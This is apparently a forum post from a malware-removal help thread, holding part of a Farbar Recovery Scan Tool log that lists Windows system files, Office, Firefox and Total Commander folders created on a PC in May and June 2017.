2017-05-30 11:06 - 2017-05-20 10:43 - 01455592 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfplat.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 01120864 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfsvr.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 00354400 _____ (Microsoft Corporation) C:\windows\SysWOW64\MMDevAPI.dll
2017-05-30 11:06 - 2017-05-20 10:42 - 20373920 _____ (Microsoft Corporation) C:\windows\SysWOW64\shell32.dll
2017-05-30 11:06 - 2017-05-20 10:40 - 00583160 _____ (Microsoft Corporation) C:\windows\SysWOW64\CoreMessaging.dll
2017-05-30 11:06 - 2017-05-20 10:29 - 13840384 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Xaml.dll
2017-05-30 11:06 - 2017-05-20 10:29 - 00584192 _____ (Microsoft Corporation) C:\windows\SysWOW64\UIRibbonRes.dll
2017-05-30 11:06 - 2017-05-20 10:27 - 02199552 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Xaml.Resources.dll
2017-05-30 11:06 - 2017-05-20 10:27 - 00141824 _____ (Microsoft Corporation) C:\windows\SysWOW64\smartscreenps.dll
2017-05-30 11:06 - 2017-05-20 10:26 - 00059904 _____ C:\windows\SysWOW64\xboxgipsynthetic.dll
2017-05-30 11:06 - 2017-05-20 10:26 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbcconf.dll
2017-05-30 11:06 - 2017-05-20 10:25 - 20505088 _____ (Microsoft Corporation) C:\windows\SysWOW64\edgehtml.dll
2017-05-30 11:06 - 2017-05-20 10:25 - 00826368 _____ (Microsoft Corporation) C:\windows\SysWOW64\NPSMDesktopProvider.dll
2017-05-30 11:06 - 2017-05-20 10:25 - 00174080 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Web.Diagnostics.dll
2017-05-30 11:06 - 2017-05-20 10:24 - 00362496 _____ (Microsoft Corporation) C:\windows\SysWOW64\daxexec.dll
2017-05-30 11:06 - 2017-05-20 10:23 - 06728192 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinui.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 19334656 _____ (Microsoft Corporation) C:\windows\SysWOW64\mshtml.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 01292288 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSVPXENC.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 00754176 _____ (Microsoft Corporation) C:\windows\SysWOW64\MessagingDataModel2.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 00394240 _____ (Microsoft Corporation) C:\windows\SysWOW64\DictationManager.dll
2017-05-30 11:06 - 2017-05-20 10:21 - 01984000 _____ (Microsoft Corporation) C:\windows\SysWOW64\DeviceFlows.DataModel.dll
2017-05-30 11:06 - 2017-05-20 10:21 - 00476672 _____ (Microsoft Corporation) C:\windows\SysWOW64\OneDriveSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 10:21 - 00444928 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.Launcher.dll
2017-05-30 11:06 - 2017-05-20 10:20 - 00807424 _____ (Microsoft Corporation) C:\windows\SysWOW64\StoreAgent.dll
2017-05-30 11:06 - 2017-05-20 10:20 - 00507392 _____ (Microsoft Corporation) C:\windows\SysWOW64\vbscript.dll
2017-05-30 11:06 - 2017-05-20 10:20 - 00368128 _____ (Microsoft Corporation) C:\windows\SysWOW64\InstallAgentUserBroker.exe
2017-05-30 11:06 - 2017-05-20 10:20 - 00354304 _____ (Microsoft Corporation) C:\windows\SysWOW64\ActivationManager.dll
2017-05-30 11:06 - 2017-05-20 10:19 - 05719040 _____ (Microsoft Corporation) C:\windows\SysWOW64\BingMaps.dll
2017-05-30 11:06 - 2017-05-20 10:19 - 00636416 _____ (Microsoft Corporation) C:\windows\SysWOW64\WpcWebFilter.dll
2017-05-30 11:06 - 2017-05-20 10:18 - 06292992 _____ (Microsoft Corporation) C:\windows\SysWOW64\Chakra.dll
2017-05-30 11:06 - 2017-05-20 10:18 - 01450496 _____ (Microsoft Corporation) C:\windows\SysWOW64\UIAutomationCore.dll
2017-05-30 11:06 - 2017-05-20 10:18 - 01248768 _____ (Microsoft Corporation) C:\windows\SysWOW64\AzureSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 11870720 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieframe.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 00952832 _____ (Microsoft Corporation) C:\windows\SysWOW64\comdlg32.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 00909312 _____ (Microsoft Corporation) C:\windows\SysWOW64\SettingSyncCore.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 00329728 _____ (Microsoft Corporation) C:\windows\SysWOW64\InstallAgent.exe
2017-05-30 11:06 - 2017-05-20 10:17 - 00050176 _____ (Microsoft Corporation) C:\windows\SysWOW64\cldapi.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 05225984 _____ (Microsoft Corporation) C:\windows\SysWOW64\d2d1.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 03667456 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_47.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 02588160 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapRouter.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 02298368 _____ (Microsoft Corporation) C:\windows\SysWOW64\dwmcore.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 00899584 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinui.appcore.dll
2017-05-30 11:06 - 2017-05-20 10:15 - 02088960 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapGeocoder.dll
2017-05-30 11:06 - 2017-05-20 10:15 - 01019904 _____ (Microsoft Corporation) C:\windows\SysWOW64\aadtb.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 04559360 _____ (Microsoft Corporation) C:\windows\SysWOW64\dbgeng.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 04417024 _____ (Microsoft Corporation) C:\windows\SysWOW64\ExplorerFrame.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 04056576 _____ (Microsoft Corporation) C:\windows\SysWOW64\MFMediaEngine.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 02679296 _____ (Microsoft Corporation) C:\windows\SysWOW64\SRH.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 02211328 _____ (Microsoft Corporation) C:\windows\SysWOW64\InputService.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 01035264 _____ (Microsoft Corporation) C:\windows\SysWOW64\ShareHost.dll
2017-05-30 11:06 - 2017-05-20 10:11 - 01536512 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Immersive.dll
2017-05-30 11:06 - 2017-05-20 10:10 - 00332800 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Midi.dll
2017-05-30 11:06 - 2017-05-20 10:10 - 00128000 _____ (Microsoft Corporation) C:\windows\SysWOW64\NPSM.dll
2017-05-30 11:06 - 2017-05-20 10:10 - 00089088 _____ (Microsoft Corporation) C:\windows\SysWOW64\olepro32.dll
2017-05-30 11:06 - 2017-05-20 10:08 - 00174080 _____ (Microsoft Corporation) C:\windows\SysWOW64\RstrtMgr.dll
2017-05-30 11:06 - 2017-05-20 09:08 - 01459728 _____ (Microsoft Corporation) C:\windows\system32\msctf.dll
2017-05-30 11:06 - 2017-05-20 09:08 - 01147296 _____ (Microsoft Corporation) C:\windows\system32\hvix64.exe
2017-05-30 11:06 - 2017-05-20 09:08 - 01024928 _____ (Microsoft Corporation) C:\windows\system32\hvax64.exe
2017-05-30 11:06 - 2017-05-20 09:08 - 00750560 _____ (Microsoft Corporation) C:\windows\system32\fontdrvhost.exe
2017-05-30 11:06 - 2017-05-20 09:08 - 00543648 _____ (Microsoft Corporation) C:\windows\system32\securekernel.exe
2017-05-30 11:06 - 2017-05-20 09:07 - 00287648 _____ (Microsoft Corporation) C:\windows\system32\Drivers\sdbus.sys
2017-05-30 11:06 - 2017-05-20 09:03 - 08320928 _____ (Microsoft Corporation) C:\windows\system32\ntoskrnl.exe
2017-05-30 11:06 - 2017-05-20 09:03 - 00777400 _____ (Microsoft Corporation) C:\windows\system32\oleaut32.dll
2017-05-30 11:06 - 2017-05-20 09:02 - 02969880 _____ (Microsoft Corporation) C:\windows\system32\CoreUIComponents.dll
2017-05-30 11:06 - 2017-05-20 09:01 - 00923040 _____ (Microsoft Corporation) C:\windows\system32\CoreMessaging.dll
2017-05-30 11:06 - 2017-05-20 08:59 - 00112544 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dam.sys
2017-05-30 11:06 - 2017-05-20 08:58 - 00188824 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dumpsd.sys
2017-05-30 11:06 - 2017-05-20 08:56 - 04847928 _____ (Microsoft Corporation) C:\windows\explorer.exe
2017-05-30 11:06 - 2017-05-20 08:56 - 02444192 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dxgkrnl.sys
2017-05-30 11:06 - 2017-05-20 08:56 - 00712608 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dxgmms2.sys
2017-05-30 11:06 - 2017-05-20 08:56 - 00370928 _____ (Microsoft Corporation) C:\windows\system32\SystemSettingsAdminFlows.exe
2017-05-30 11:06 - 2017-05-20 08:55 - 07325584 _____ (Microsoft Corporation) C:\windows\system32\windows.storage.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 05477088 _____ (Microsoft Corporation) C:\windows\system32\OneCoreUAPCommonProxyStub.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 01911752 _____ (Microsoft Corporation) C:\windows\system32\Windows.ApplicationModel.Store.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 01506712 _____ (Microsoft Corporation) C:\windows\system32\twinapi.appcore.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 01055648 _____ (Microsoft Corporation) C:\windows\system32\LicenseManager.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 00961952 _____ (Microsoft Corporation) C:\windows\system32\efscore.dll
2017-05-30 11:06 - 2017-05-20 08:55 - 00211872 _____ (Microsoft Corporation) C:\windows\system32\browserbroker.dll
2017-05-30 11:06 - 2017-05-20 08:54 - 00872472 _____ (Microsoft Corporation) C:\windows\system32\ClipSVC.dll
2017-05-30 11:06 - 2017-05-20 08:54 - 00730016 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vhdmp.sys
2017-05-30 11:06 - 2017-05-20 08:54 - 00546208 _____ (Microsoft Corporation) C:\windows\system32\Drivers\storport.sys
2017-05-30 11:06 - 2017-05-20 08:54 - 00144288 _____ (Microsoft Corporation) C:\windows\system32\Drivers\storahci.sys
2017-05-30 11:06 - 2017-05-20 08:53 - 00654976 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentClient.dll
2017-05-30 11:06 - 2017-05-20 08:53 - 00411040 _____ (Microsoft Corporation) C:\windows\system32\msv1_0.dll
2017-05-30 11:06 - 2017-05-20 08:53 - 00363424 _____ (Microsoft Corporation) C:\windows\system32\Drivers\fastfat.sys
2017-05-30 11:06 - 2017-05-20 08:53 - 00335808 _____ (Microsoft Corporation) C:\windows\system32\SecurityHealthService.exe
2017-05-30 11:06 - 2017-05-20 08:53 - 00255904 _____ (Microsoft Corporation) C:\windows\system32\AppxAllUserStore.dll
2017-05-30 11:06 - 2017-05-20 08:52 - 07904784 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Protection.PlayReady.dll
2017-05-30 11:06 - 2017-05-20 08:52 - 04709528 _____ (Microsoft Corporation) C:\windows\system32\mfcore.dll
2017-05-30 11:06 - 2017-05-20 08:52 - 01700408 _____ (Microsoft Corporation) C:\windows\system32\mfplat.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 21352176 _____ (Microsoft Corporation) C:\windows\system32\shell32.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 06551856 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 02604256 _____ (Microsoft Corporation) C:\windows\system32\mfmp4srcsnk.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 01670496 _____ (Microsoft Corporation) C:\windows\system32\winmde.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 01219560 _____ (Microsoft Corporation) C:\windows\system32\mfsvr.dll
2017-05-30 11:06 - 2017-05-20 08:51 - 00406064 _____ (Microsoft Corporation) C:\windows\system32\MMDevAPI.dll
2017-05-30 11:06 - 2017-05-20 08:48 - 00387928 _____ (Microsoft Corporation) C:\windows\system32\wmpps.dll
2017-05-30 11:06 - 2017-05-20 08:22 - 23677440 _____ (Microsoft Corporation) C:\windows\system32\edgehtml.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00809472 _____ (Microsoft Corporation) C:\windows\system32\SecurityHealthSSO.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00584192 _____ (Microsoft Corporation) C:\windows\system32\UIRibbonRes.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00361472 _____ (Microsoft Corporation) C:\windows\system32\ConhostV2.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00099328 _____ (Microsoft Corporation) C:\windows\system32\utcutil.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00088576 _____ (Microsoft Corporation) C:\windows\system32\winsrvext.dll
2017-05-30 11:06 - 2017-05-20 08:10 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ksthunk.sys
2017-05-30 11:06 - 2017-05-20 08:09 - 17365504 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Xaml.dll
2017-05-30 11:06 - 2017-05-20 08:09 - 02199552 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Xaml.Resources.dll
2017-05-30 11:06 - 2017-05-20 08:09 - 00209408 _____ (Microsoft Corporation) C:\windows\system32\smartscreenps.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00128512 _____ (Microsoft Corporation) C:\windows\system32\mssprxy.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00086016 _____ C:\windows\system32\xboxgipsynthetic.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\odbcconf.dll
2017-05-30 11:06 - 2017-05-20 08:08 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rootmdm.sys
2017-05-30 11:06 - 2017-05-20 08:07 - 00277504 _____ (Microsoft Corporation) C:\windows\system32\Drivers\xboxgip.sys
2017-05-30 11:06 - 2017-05-20 08:07 - 00133120 _____ (Microsoft Corporation) C:\windows\system32\XblGameSaveExt.dll
2017-05-30 11:06 - 2017-05-20 08:07 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\snmptrap.exe
2017-05-30 11:06 - 2017-05-20 08:06 - 00866816 _____ (Microsoft Corporation) C:\windows\system32\NPSMDesktopProvider.dll
2017-05-30 11:06 - 2017-05-20 08:06 - 00232448 _____ (Microsoft Corporation) C:\windows\system32\Windows.Web.Diagnostics.dll
2017-05-30 11:06 - 2017-05-20 08:06 - 00192512 _____ (Microsoft Corporation) C:\windows\system32\Windows.SharedPC.AccountManager.dll
2017-05-30 11:06 - 2017-05-20 08:05 - 07931392 _____ (Microsoft Corporation) C:\windows\system32\twinui.dll
2017-05-30 11:06 - 2017-05-20 08:05 - 00518144 _____ (Microsoft Corporation) C:\windows\system32\daxexec.dll
2017-05-30 11:06 - 2017-05-20 08:05 - 00064512 _____ (Microsoft Corporation) C:\windows\system32\winsrv.dll
2017-05-30 11:06 - 2017-05-20 08:04 - 00778240 _____ C:\windows\system32\MBR2GPT.EXE
2017-05-30 11:06 - 2017-05-20 08:03 - 23681024 _____ (Microsoft Corporation) C:\windows\system32\mshtml.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 08331264 _____ (Microsoft Corporation) C:\windows\system32\BingMaps.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00892416 _____ (Microsoft Corporation) C:\windows\system32\MessagingDataModel2.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00549888 _____ (Microsoft Corporation) C:\windows\system32\DictationManager.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00527360 _____ (Microsoft Corporation) C:\windows\system32\aadcloudap.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00491520 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_Display.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00427008 _____ (Microsoft Corporation) C:\windows\system32\provengine.dll
2017-05-30 11:06 - 2017-05-20 08:03 - 00197120 _____ (Microsoft Corporation) C:\windows\system32\bcdboot.exe
2017-05-30 11:06 - 2017-05-20 08:02 - 00616960 _____ (Microsoft Corporation) C:\windows\system32\WindowManagement.dll
2017-05-30 11:06 - 2017-05-20 08:02 - 00601088 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.Launcher.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 02347520 _____ (Microsoft Corporation) C:\windows\system32\DeviceFlows.DataModel.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 01878016 _____ (Microsoft Corporation) C:\windows\system32\AzureSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00970240 _____ (Microsoft Corporation) C:\windows\system32\cdpsvc.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00590848 _____ (Microsoft Corporation) C:\windows\system32\vbscript.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00586240 _____ (Microsoft Corporation) C:\windows\system32\OneDriveSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00409600 _____ (Microsoft Corporation) C:\windows\system32\updatehandlers.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00408064 _____ (Microsoft Corporation) C:\windows\system32\ActivationManager.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00299520 _____ (Microsoft Corporation) C:\windows\system32\AboveLockAppHost.dll
2017-05-30 11:06 - 2017-05-20 08:01 - 00149504 _____ (Microsoft Corporation) C:\windows\system32\embeddedmodesvc.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 01078272 _____ (Microsoft Corporation) C:\windows\system32\StoreAgent.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 01067008 _____ (Microsoft Corporation) C:\windows\system32\XboxNetApiSvc.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 00925696 _____ (Microsoft Corporation) C:\windows\system32\WpcWebFilter.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 00846848 _____ (Microsoft Corporation) C:\windows\system32\bisrv.dll
2017-05-30 11:06 - 2017-05-20 08:00 - 00417792 _____ (Microsoft Corporation) C:\windows\system32\InstallAgentUserBroker.exe
2017-05-30 11:06 - 2017-05-20 08:00 - 00056832 _____ (Microsoft Corporation) C:\windows\system32\cldapi.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01818624 _____ (Microsoft Corporation) C:\windows\system32\UIAutomationCore.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01468416 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentExtensions.desktop.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01260544 _____ (Microsoft Corporation) C:\windows\system32\GamePanel.exe
2017-05-30 11:06 - 2017-05-20 07:59 - 01141760 _____ (Microsoft Corporation) C:\windows\system32\MapsStore.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 01028608 _____ (Microsoft Corporation) C:\windows\system32\modernexecserver.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 00972800 _____ (Microsoft Corporation) C:\windows\system32\sysmain.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 00687104 _____ (Microsoft Corporation) C:\windows\system32\LogonController.dll
2017-05-30 11:06 - 2017-05-20 07:59 - 00585216 _____ (Microsoft Corporation) C:\windows\system32\AppReadiness.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 08244736 _____ (Microsoft Corporation) C:\windows\system32\Chakra.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 03784704 _____ (Microsoft Corporation) C:\windows\system32\MapRouter.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 03135488 _____ (Microsoft Corporation) C:\windows\system32\MapGeocoder.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 01886208 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentExtensions.onecore.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 01046016 _____ (Microsoft Corporation) C:\windows\system32\comdlg32.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 00909824 _____ (Microsoft Corporation) C:\windows\system32\ISM.dll
2017-05-30 11:06 - 2017-05-20 07:58 - 00374784 _____ (Microsoft Corporation) C:\windows\system32\InstallAgent.exe
2017-05-30 11:06 - 2017-05-20 07:57 - 12787200 _____ (Microsoft Corporation) C:\windows\system32\ieframe.dll
2017-05-30 11:06 - 2017-05-20 07:57 - 02801664 _____ (Microsoft Corporation) C:\windows\system32\AppXDeploymentServer.dll
2017-05-30 11:06 - 2017-05-20 07:57 - 00681984 _____ (Microsoft Corporation) C:\windows\system32\usocore.dll
2017-05-30 11:06 - 2017-05-20 07:56 - 02730496 _____ (Microsoft Corporation) C:\windows\system32\smartscreen.exe
2017-05-30 11:06 - 2017-05-20 07:56 - 02624512 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Logon.dll
2017-05-30 11:06 - 2017-05-20 07:56 - 02056192 _____ (Microsoft Corporation) C:\windows\system32\win32kbase.sys
2017-05-30 11:06 - 2017-05-20 07:56 - 01076736 _____ (Microsoft Corporation) C:\windows\system32\twinui.appcore.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 04396032 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_47.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 03332096 _____ (Microsoft Corporation) C:\windows\system32\SRH.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 02499584 _____ (Microsoft Corporation) C:\windows\system32\twinui.pcshell.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 01293824 _____ (Microsoft Corporation) C:\windows\system32\aadtb.dll
2017-05-30 11:06 - 2017-05-20 07:55 - 01102848 _____ (Microsoft Corporation) C:\windows\system32\SettingSyncCore.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 05557760 _____ (Microsoft Corporation) C:\windows\system32\dbgeng.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 04707840 _____ (Microsoft Corporation) C:\windows\system32\ExplorerFrame.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 04537344 _____ (Microsoft Corporation) C:\windows\system32\MFMediaEngine.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 03803136 _____ (Microsoft Corporation) C:\windows\system32\SystemSettingsThresholdAdminFlowUI.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 02938880 _____ (Microsoft Corporation) C:\windows\system32\InputService.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 02651136 _____ (Microsoft Corporation) C:\windows\system32\dwmcore.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 02516480 _____ (Microsoft Corporation) C:\windows\system32\diagtrack.dll
2017-05-30 11:06 - 2017-05-20 07:54 - 01275904 _____ (Microsoft Corporation) C:\windows\system32\ShareHost.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 01356800 _____ (Microsoft Corporation) C:\windows\system32\audiosrv.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 00624640 _____ (Microsoft Corporation) C:\windows\system32\AudioEndpointBuilder.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 00557568 _____ (Microsoft Corporation) C:\windows\system32\wpnprv.dll
2017-05-30 11:06 - 2017-05-20 07:52 - 00476160 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Core.TextInput.dll
2017-05-30 11:06 - 2017-05-20 07:51 - 01706496 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Immersive.dll
2017-05-30 11:06 - 2017-05-20 07:51 - 00148480 _____ (Microsoft Corporation) C:\windows\system32\umpo.dll
2017-05-30 11:06 - 2017-05-20 07:50 - 00439808 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Midi.dll
2017-05-30 11:06 - 2017-05-20 07:50 - 00159744 _____ (Microsoft Corporation) C:\windows\system32\NPSM.dll
2017-05-30 11:06 - 2017-05-20 07:48 - 02438656 _____ (Microsoft Corporation) C:\windows\system32\ResetEngine.dll
2017-05-30 11:06 - 2017-05-20 07:48 - 00061952 _____ (Microsoft Corporation) C:\windows\system32\vss_ps.dll
2017-05-30 11:06 - 2017-05-20 07:47 - 00641536 _____ (Microsoft Corporation) C:\windows\system32\rdbui.dll
2017-05-30 11:06 - 2017-05-20 07:47 - 00199680 _____ (Microsoft Corporation) C:\windows\system32\RstrtMgr.dll
2017-05-30 11:06 - 2017-05-20 07:47 - 00064512 _____ (Microsoft Corporation) C:\windows\bfsvc.exe
2017-05-30 10:01 - 2017-05-30 10:01 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Live Add-in
2017-05-30 09:56 - 2017-05-30 09:56 - 00000017 _____ C:\Users\****\AppData\Local\resmon.resmoncfg
2017-05-30 09:55 - 2017-06-02 17:13 - 00000000 ____D C:\Users\****\AppData\Local\CrashDumps
2017-05-30 09:55 - 2017-05-30 09:55 - 00000000 ____D C:\Users\****\AppData\Local\DBG
2017-05-30 09:52 - 2017-05-30 09:52 - 00000000 ____D C:\Users\Default\AppData\Local\Microsoft Help
2017-05-30 09:52 - 2017-05-30 09:52 - 00000000 ____D C:\Users\Default User\AppData\Local\Microsoft Help
2017-05-30 09:42 - 2017-05-30 09:42 - 00002811 _____ C:\Users\****\Desktop\Microsoft Office Outlook 2007.lnk
2017-05-30 09:42 - 2017-05-30 09:42 - 00002739 _____ C:\Users\****\Desktop\Microsoft Office PowerPoint 2007.lnk
2017-05-30 09:42 - 2017-05-30 09:42 - 00002719 _____ C:\Users\****\Desktop\Microsoft Office Excel 2007.lnk
2017-05-30 09:42 - 2017-05-30 09:42 - 00002713 _____ C:\Users\****\Desktop\Microsoft Office Word 2007.lnk
2017-05-30 09:40 - 2017-05-30 09:41 - 00000000 ____D C:\Program Files (x86)\Microsoft Works
2017-05-30 09:40 - 2017-05-30 09:40 - 00000000 ____D C:\windows\PCHEALTH
2017-05-30 09:40 - 2017-05-30 09:40 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office
2017-05-30 09:40 - 2017-05-30 09:40 - 00000000 ____D C:\Program Files (x86)\Microsoft Visual Studio
2017-05-30 09:39 - 2017-05-30 10:01 - 00000000 ____D C:\Program Files (x86)\Microsoft Office
2017-05-30 09:39 - 2017-05-30 09:40 - 00000000 ____D C:\windows\SHELLNEW
2017-05-30 09:39 - 2017-05-30 09:39 - 00000000 __RHD C:\MSOCache

Twix. 03.06.2017 00:33
FRST - Teil2:
Code:
2017-05-30 09:39 - 2017-05-30 09:39 - 00000000 ____D C:\Users\****\AppData\Local\Microsoft Help
2017-05-30 09:39 - 2017-05-30 09:39 - 00000000 ____D C:\Program Files\Microsoft Office
2017-05-30 09:37 - 2017-05-30 09:46 - 00000000 ____D C:\Program Files\totalcmd
2017-05-30 09:37 - 2017-05-30 09:37 - 00000900 _____ C:\Users\****\Desktop\Total Commander.lnk
2017-05-30 09:37 - 2017-05-30 09:37 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Total Commander
2017-05-30 09:37 - 2017-05-30 09:37 - 00000000 ____D C:\Users\****\AppData\Roaming\GHISLER
2017-05-30 09:37 - 2017-05-30 09:37 - 00000000 ____D C:\Users\****\AppData\Local\GHISLER
2017-05-30 09:32 - 2017-06-03 00:40 - 00000000 ____D C:\Users\****\AppData\LocalLow\Mozilla
2017-05-30 09:32 - 2017-06-03 00:24 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox
2017-05-30 09:32 - 2017-06-03 00:08 - 00001136 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-05-30 09:32 - 2017-06-03 00:08 - 00001124 _____ C:\Users\Public\Desktop\Mozilla Firefox.lnk
2017-05-30 09:32 - 2017-05-30 20:35 - 00000000 ____D C:\Users\****\AppData\Local\Mozilla
2017-05-30 09:32 - 2017-05-30 09:32 - 00000000 ____D C:\Users\****\AppData\Roaming\Mozilla
2017-05-30 09:32 - 2017-05-30 09:32 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2017-05-30 09:31 - 2017-05-30 09:31 - 00000000 ____D C:\Users\****\AppData\Local\MicrosoftEdge
2017-05-30 09:29 - 2017-06-02 20:25 - 00000000 ____D C:\Users\****\AppData\Local\ClassicShell
2017-05-30 09:29 - 2017-05-30 09:29 - 00000000 ____D C:\Users\****\AppData\Roaming\ClassicShell
2017-05-30 09:28 - 2017-05-30 09:28 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Classic Shell
2017-05-30 09:28 - 2017-05-30 09:28 - 00000000 ____D C:\Program Files\Classic Shell
2017-05-30 08:01 - 2017-04-28 03:38 - 01411128 _____ (Microsoft Corporation) C:\windows\SysWOW64\gdi32full.dll
2017-05-30 08:01 - 2017-04-28 03:19 - 01839872 _____ (Microsoft Corporation) C:\windows\SysWOW64\KernelBase.dll
2017-05-30 08:01 - 2017-04-28 03:16 - 00599576 _____ (Microsoft Corporation) C:\windows\SysWOW64\kernel32.dll
2017-05-30 08:01 - 2017-04-28 03:12 - 01604312 _____ (Microsoft Corporation) C:\windows\system32\gdi32full.dll
